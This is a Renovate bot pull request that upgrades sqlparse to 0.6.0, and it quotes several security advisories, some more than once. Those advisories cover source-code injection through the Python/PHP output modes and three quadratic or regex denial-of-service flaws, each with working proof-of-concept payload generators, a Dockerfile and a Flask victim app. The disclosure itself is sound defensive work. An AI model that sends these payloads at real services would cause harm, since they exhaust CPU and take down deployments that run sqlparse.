Skip to content

chore(deps): update dependency sqlparse to v0.6.0 [security] - #2772

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-sqlparse-vulnerability
Open

chore(deps): update dependency sqlparse to v0.6.0 [security]#2772
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-sqlparse-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 19, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
sqlparse (changelog) 0.5.50.6.0 age adoption passing confidence

sqlparse: Generated Python and PHP snippets allow SQL string breakout through unescaped backslashes

CVE-2026-59894 / GHSA-3496-9g83-7v6x / PYSEC-2026-3696

More information

Details

Summary

The documented Python and PHP output modes generate source-code snippets from caller-supplied SQL. Their output filters escape quote characters without first escaping existing backslashes. Crafted SQL can therefore neutralize the generated quote escape, terminate the intended language string, and place attacker-controlled code into the generated snippet. If a downstream consumer executes or imports that generated source, the injected code runs in the consumer's environment.

Details

The Python output filter places SQL in a single-quoted string and replaces each single quote with an escaped quote. The PHP output filter performs the equivalent operation for a double-quoted string. Neither transformation escapes pre-existing backslashes before escaping quotes. A backslash supplied immediately before a quote causes the generated backslash to be escaped instead of the quote, allowing the quote to close the string.

The affected modes are exposed through sqlparse.format(..., output_format='python'), sqlparse.format(..., output_format='php'), and the corresponding sqlformat -l options. Formatting produces the injected source but does not itself execute it; code execution occurs when a downstream workflow treats the generated snippet as Python or PHP code.

Relevant code locations:

  • sqlparse/formatter.py:193 — selection of the output-language filters
  • sqlparse/filters/output.py:45 — opening of the generated Python string
  • sqlparse/filters/output.py:65 — incomplete Python quote escaping
  • sqlparse/filters/output.py:91 — opening of the generated PHP string
  • sqlparse/filters/output.py:114 — incomplete PHP quote escaping
PoC

A complete validated reproduction is attached as output_format_snippet_injection-poc.zip. The archive contains reproduction/ at its root, uses Git and Docker, and validates the Python output path by generating and executing a snippet containing a controlled marker-file write.

Extract the archive beside this report, then run:

./reproduction/run.sh

Observed result:

The generated Python snippet placed the attacker-controlled pathlib.Path(...).write_text(...) expression outside the intended SQL string. Executing the snippet wrote the expected proof marker, emitted EVOHUNT_OUTPUT_FORMAT_INJECTION_VERIFIED, and completed successfully.

Verification method:

The verification helper calls sqlparse.format(..., output_format='python'), executes the generated snippet, and fails unless the injected Python expression writes the exact proof marker file.

Limitations:

No reproduction blocker was recorded. The attached harness directly verifies the Python output path; exploitation also requires a downstream consumer to execute or import the generated source.

Impact

This is source-code injection in the opt-in Python and PHP snippet-generation modes. An attacker who controls SQL converted by one of these modes can inject language code into the generated artifact. If that artifact is subsequently executed, the attacker can run code with the permissions and access of the downstream Python or PHP process.

The demonstrated end-to-end result is code execution through a generated Python snippet. Formatting the SQL alone does not execute the payload, and ordinary parsing, splitting, or formatting without these output modes is not shown to be affected.

Severity

  • CVSS Score: 6.2 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


sqlparse: Quadratic O(n²) DoS in group_comments

CVE-2026-71491 / GHSA-f2ff-p2ww-7p4p / PYSEC-2026-3697

More information

Details

Summary

A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):

def group_comments(tlist):
    tidx, token = tlist.token_next_by(t=T.Comment)
    while token:
        eidx, end = tlist.token_not_matching(
            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
        ...
        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)

The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

  1. group_comments runs first in group() (grouping.py:439), before the _group_matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX_GROUPING_TOKENS does not provide protection on this vector.
  2. It sits on the primary sanitizer path: format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.
PoC

Tested using Python 3.14:

import time, sqlparse
for n in (1000, 2000, 4000):
    s = "-- c\n" * n
    t = time.perf_counter()
    sqlparse.format(s, strip_comments=True)
    print(f"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")

Output:

n= 1000  format(strip_comments)=  106.0 ms
n= 2000  format(strip_comments)=  403.3 ms
n= 4000  format(strip_comments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

CVE-2026-59893 / GHSA-prg7-hcfm-mfcr / PYSEC-2026-3698

More information

Details

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

##### sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

##### sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

  1. sqlparse/__init__.py:20parse(sql) accepts caller-controlled SQL.
  2. sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
  3. sqlparse/__init__.py:43FilterStack.run(stream, encoding) is invoked.
  4. sqlparse/engine/filter_stack.py:31lexer.tokenize(sql, encoding) is called with no length limit or timeout.
  5. sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
  6. sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers) Bytes Elapsed
250 1,889 0.066 s
500 3,889 0.144 s
1,000 7,889 0.397 s
2,000 16,889 1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

##### Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

##### Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

Expected output (super-linear scaling confirms ReDoS):

n=  250  bytes=   1889  elapsed=0.066s  status=ok
n=  500  bytes=   3889  elapsed=0.144s  status=ok
n= 1000  bytes=   7889  elapsed=0.397s  status=ok
n= 2000  bytes=  16889  elapsed=1.314s  status=ok

Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @​7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

##### sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),

##### sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

import time, sqlparse

for n in (2000, 4000, 8000, 16000):
    payload = "/*x " * n
    t0 = time.perf_counter()
    sqlparse.parse(payload)
    print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

openers bytes lexing
2,000 8 KB 0.057 s
4,000 16 KB 0.196 s
8,000 32 KB 0.729 s
16,000 64 KB 2.717 s

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts
Dockerfile
FROM python:3.11-slim

##### Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

##### Copy the sqlparse repository source code
COPY repo/ /app/repo/

##### Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/

##### Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py

##### Default: run the PoC
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33
    (r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)

The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.

Attack input: a sequence of N unique, never-closed dollar-quote openers
    $a0$x $a1$x $a2$x ... $a{N-1}$x

Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists.  With N openers this creates
O(N^2) regex work.

Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""

import sys
import time

try:
    import sqlparse
    from sqlparse.exceptions import SQLParseError
except ImportError as exc:
    print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
    sys.exit(2)

print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()

def make_payload(n: int) -> str:
    """Generate N unique unmatched dollar-quote openers.

    Each token '$ai$x' looks like an opening dollar-quote delimiter
    but never has a closing delimiter, so the regex engine must scan
    the entire remaining string before giving up on each one.
    """
    return " ".join(f"$a{i}$x" for i in range(n))

results = []

sample_sizes = [250, 500, 1000, 2000]

for n in sample_sizes:
    payload = make_payload(n)
    byte_len = len(payload.encode())
    t_start = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as exc:
        status = f"SQLParseError({exc})"
    except Exception as exc:
        status = f"Exception({type(exc).__name__}: {exc})"
    elapsed = time.perf_counter() - t_start

    results.append((n, byte_len, elapsed, status))
    print(f"n={n:>5}  bytes={byte_len:>7}  elapsed={elapsed:>8.3f}s  status={status}")

print()

##### Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
    n_prev, _, t_prev, _ = results[i - 1]
    n_curr, _, t_curr, _ = results[i]
    if t_prev > 0:
        ratio = t_curr / t_prev
        n_ratio = n_curr / n_prev
        print(f"  n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")

print()

##### PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2]  # n=1000
_, _, t_2000, _ = results[3]  # n=2000

PASS_THRESHOLD = 3.0

if t_1000 > 0:
    ratio_1000_2000 = t_2000 / t_1000
else:
    ratio_1000_2000 = 0.0

print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")

if ratio_1000_2000 >= PASS_THRESHOLD:
    print()
    print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
    print("       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
    sys.exit(0)
else:
    print()
    print("[FAIL] Super-linear scaling NOT confirmed within this run.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
    print("       The host may be too fast or JIT effects obscured the result.")
    print("       Try larger sample sizes or re-run on a slower host.")
    sys.exit(1)

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


sqlparse: TokenList.init materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger

CVE-2026-54284 / GHSA-pwgv-4x5q-6m9f / PYSEC-2026-3699

More information

Details

Summary

sqlparse ships hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) intended to bound parsing work on attacker-supplied SQL, but the path that reaches those limits is itself O(n*depth) per token-group construction. A ~1-2 KB SQL payload (e.g. SELECT (((((1))))) ... with 500-2000 nesting levels, or a 200-400-level nested CASE WHEN chain) drives the parser to spend multiple seconds of CPU before the depth cap raises SQLParseError. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.

The root cause is TokenList.__init__ calling super().__init__(None, str(self)). TokenList.__str__ flattens the entire subtree on every call, and grouping constructs a new TokenList for every parenthesis / CASE / list group, so a tree of depth d with n total tokens performs O(n*d) flatten work just to materialize the cached value field, which is then never read for grouped nodes (they override __str__).

This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to trigger the caps is itself superlinear in payload size.

Affected components

sqlparse 0.5.5 (latest) and every prior version that ships TokenList.__init__. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (da67ac1, 2025-12-08) added depth + token caps to _group_matching / _group but left the per-node str(self) materialization untouched.

Vulnerable code (file:line)

sqlparse/sql.py#L162 (release 0.5.5) / sqlparse/sql.py#L167 (current master):

class TokenList(Token):
    __slots__ = 'tokens'

    def __init__(self, tokens=None):
        self.tokens = tokens or []
        [setattr(token, 'parent', self) for token in self.tokens]
        super().__init__(None, str(self))   # ← O(subtree) work per group
        self.is_group = True

    def __str__(self):
        return ''.join(token.value for token in self.flatten())

__str__ recurses via flatten() over the entire subtree below self. Every TokenList constructed during grouping (every Parenthesis, Case, IdentifierList, etc.) runs this on its current children, which themselves recursively call flatten(). For grouping that builds a tree of depth d containing n tokens, the construction cost is O(n * d).

The grouping pipeline that triggers it lives at sqlparse/engine/grouping.py#L80 (group_parenthesis) and sqlparse/engine/grouping.py#L84 (group_case). Both call _group_matching which builds nested Parenthesis / Case TokenList instances bottom-up.

Reachable / How input reaches the sink

sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql) are the documented entry points and all flow into engine/filter_stack.py:runengine/grouping.py:groupgroup_parenthesis / group_case. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested CASE WHEN, nested subqueries, or nested ARRAY[] literals.

Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the sqlformat.org-style class of tools), Django's format_debug_sql (django/db/backends/base/operations.py) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as sql-metadata (Parser(sql).columns triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).

Proof of concept

Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):

import sqlparse, time, signal

def _h(s, f): raise TimeoutError()
signal.signal(signal.SIGALRM, _h)

def measure(label, sql, fn):
    signal.alarm(30)
    t0 = time.perf_counter()
    status = 'OK'
    try:
        fn(sql)
    except sqlparse.exceptions.SQLParseError:
        status = 'CAP'
    except TimeoutError:
        status = 'TIMEOUT'
    finally:
        signal.alarm(0)
    dt = (time.perf_counter() - t0) * 1000
    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')

##### Vector 1: deeply nested parentheses
for n in (200, 500, 1000, 2000):
    sql = 'SELECT ' + '(' * n + '1' + ')' * n
    measure(f'nested-paren n={n}', sql, sqlparse.parse)

##### Vector 2: deeply nested CASE WHEN
for n in (100, 200, 400):
    case = '1'
    for i in range(n):
        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)

Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):

  CAP         80.7ms  nested-paren n=200  (408 B)
  CAP       1342.9ms  nested-paren n=500  (1008 B)
  CAP      11206.9ms  nested-paren n=1000  (2008 B)
  TIMEOUT  >10000ms   nested-paren n=2000  (4008 B)
  CAP         83.1ms  CASE-nested n=100  (3405 B)
  CAP        559.6ms  CASE-nested n=200  (6905 B)
  CAP       5012.2ms  CASE-nested n=400  (13905 B)

cProfile attribution (nested-paren n=500, 1008 B input, 3.1 s total):

ncalls   cumtime  filename:lineno(function)
   501    3.133   sqlparse/sql.py:165(__str__)
   501    3.127   {method 'join' of 'str' objects}
252504    3.110   sqlparse/sql.py:166(<genexpr>)
42168504 3.079   sqlparse/sql.py:207(flatten)

42 million flatten() calls for a 1 KB input. The cap raises at depth 100, but TokenList.__init__ ran str(self) once per group construction and each call walked the partial subtree.

End-to-end reproduction (against running consumer)

victim_app.py (a 50-line Flask formatter, the canonical sqlparse consumer pattern):

from flask import Flask, request, jsonify
import sqlparse, time
app = Flask(__name__)

@app.route('/parse', methods=['POST'])
def parse_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(sql)
        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})
    except sqlparse.exceptions.SQLParseError as e:
        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400

@app.route('/format', methods=['POST'])
def format_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')
    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5099, threaded=False)

Driver run (Python 3.9, sqlparse 0.5.5, threaded=False so one worker per request):

=== Baseline (benign payloads) ===
  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms
  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms
  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms

=== Malicious payloads (within default caps) ===
  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False
  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False
  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False
  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False
  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False
  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True

A 2 KB payload (nested-paren n=1000) pins one worker for 10 seconds at 100% CPU. With gunicorn -w N deploying the same app, N concurrent malicious requests exhaust every worker and bring the service down. The cap SQLParseError exception is delivered to the caller, but only after the CPU work is already burnt.

Impact
  • Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).
  • Multi-worker service: attacker sends N parallel requests, exhausts the worker pool.
  • Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).
  • Downstream library impact: sql-metadata.Parser(sql).columns calls sqlparse.parse internally and inherits the exact same hang (nested-paren n=1000 → 11.3 s).
Suggested fix

Replace the eager str(self) materialization with a single-pass concatenation of children's already-cached value fields. The Token.value invariant value == str(self) at construction is preserved (children's value is itself built the same way bottom-up), but the per-node cost drops from O(subtree) to O(len(self.tokens)):

def __init__(self, tokens=None):
    self.tokens = tokens or []
    [setattr(token, 'parent', self) for token in self.tokens]
    # Avoid materializing the full subtree via str(self): concatenating
    # children's already-cached `value` is O(len(tokens)) per group,
    # whereas str(self) recursively flattens the entire subtree which is
    # O(subtree) per node and turns nested grouping into O(n * depth).
    super().__init__(None, ''.join(token.value for token in self.tokens))
    self.is_group = True

Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched 0d24023):

Vector Before fix After fix Speedup
nested-paren n=500 1336 ms 11 ms 121x
nested-paren n=1000 11206 ms 22 ms 509x
nested-paren n=2000 TIMEOUT (>10 s) 45 ms 220x+
CASE-nested n=200 559 ms 25 ms 22x
CASE-nested n=500 TIMEOUT (>10 s) 61 ms 160x+
benign 1 KB SQL 3 ms 3 ms unchanged

End-to-end Flask victim_app re-run against the patched library:

  nested-paren n=1000                        2008B  server=    34.6ms
  nested-paren n=2000                        4008B  server=    67.2ms
  CASE-nested n=400                         13905B  server=    49.5ms
  benign 1 KB SQL                             220B  server=     3.4ms

The IN-tuple format() vector observed at n=1000 (3.8 s for ~10 KB input) is a separate quadratic in the reindent filter (filters/reindent.py:_get_offset_flatten_up_to_token) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.

Fix PR

A fix PR against the temp private fork, mirroring the diff above with a regression test (test_nested_paren_within_cap_under_50ms), is attached and linked from this advisory.

Credit

Reported by tonghuaroot.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


sqlparse: Generated Python and PHP snippets allow SQL string breakout through unescaped backslashes

CVE-2026-59894 / GHSA-3496-9g83-7v6x / PYSEC-2026-3696

More information

Details

Summary

The documented Python and PHP output modes generate source-code snippets from caller-supplied SQL. Their output filters escape quote characters without first escaping existing backslashes. Crafted SQL can therefore neutralize the generated quote escape, terminate the intended language string, and place attacker-controlled code into the generated snippet. If a downstream consumer executes or imports that generated source, the injected code runs in the consumer's environment.

Details

The Python output filter places SQL in a single-quoted string and replaces each single quote with an escaped quote. The PHP output filter performs the equivalent operation for a double-quoted string. Neither transformation escapes pre-existing backslashes before escaping quotes. A backslash supplied immediately before a quote causes the generated backslash to be escaped instead of the quote, allowing the quote to close the string.

The affected modes are exposed through sqlparse.format(..., output_format='python'), sqlparse.format(..., output_format='php'), and the corresponding sqlformat -l options. Formatting produces the injected source but does not itself execute it; code execution occurs when a downstream workflow treats the generated snippet as Python or PHP code.

Relevant code locations:

  • sqlparse/formatter.py:193 — selection of the output-language filters
  • sqlparse/filters/output.py:45 — opening of the generated Python string
  • sqlparse/filters/output.py:65 — incomplete Python quote escaping
  • sqlparse/filters/output.py:91 — opening of the generated PHP string
  • sqlparse/filters/output.py:114 — incomplete PHP quote escaping
PoC

A complete validated reproduction is attached as output_format_snippet_injection-poc.zip. The archive contains reproduction/ at its root, uses Git and Docker, and validates the Python output path by generating and executing a snippet containing a controlled marker-file write.

Extract the archive beside this report, then run:

./reproduction/run.sh

Observed result:

The generated Python snippet placed the attacker-controlled pathlib.Path(...).write_text(...) expression outside the intended SQL string. Executing the snippet wrote the expected proof marker, emitted EVOHUNT_OUTPUT_FORMAT_INJECTION_VERIFIED, and completed successfully.

Verification method:

The verification helper calls sqlparse.format(..., output_format='python'), executes the generated snippet, and fails unless the injected Python expression writes the exact proof marker file.

Limitations:

No reproduction blocker was recorded. The attached harness directly verifies the Python output path; exploitation also requires a downstream consumer to execute or import the generated source.

Impact

This is source-code injection in the opt-in Python and PHP snippet-generation modes. An attacker who controls SQL converted by one of these modes can inject language code into the generated artifact. If that artifact is subsequently executed, the attacker can run code with the permissions and access of the downstream Python or PHP process.

The demonstrated end-to-end result is code execution through a generated Python snippet. Formatting the SQL alone does not execute the payload, and ordinary parsing, splitting, or formatting without these output modes is not shown to be affected.

Severity

  • CVSS Score: 6.2 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


sqlparse: Quadratic O(n²) DoS in group_comments

CVE-2026-71491 / GHSA-f2ff-p2ww-7p4p / PYSEC-2026-3697

More information

Details

Summary

A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):

def group_comments(tlist):
    tidx, token = tlist.token_next_by(t=T.Comment)
    while token:
        eidx, end = tlist.token_not_matching(
            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
        ...
        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)

The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

  1. group_comments runs first in group() (grouping.py:439), before the _group_matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX_GROUPING_TOKENS does not provide protection on this vector.
  2. It sits on the primary sanitizer path: format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.
PoC

Tested using Python 3.14:

import time, sqlparse
for n in (1000, 2000, 4000):
    s = "-- c\n" * n
    t = time.perf_counter()
    sqlparse.format(s, strip_comments=True)
    print(f"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")

Output:

n= 1000  format(strip_comments)=  106.0 ms
n= 2000  format(strip_comments)=  403.3 ms
n= 4000  format(strip_comments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

CVE-2026-59893 / GHSA-prg7-hcfm-mfcr / PYSEC-2026-3698

More information

Details

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

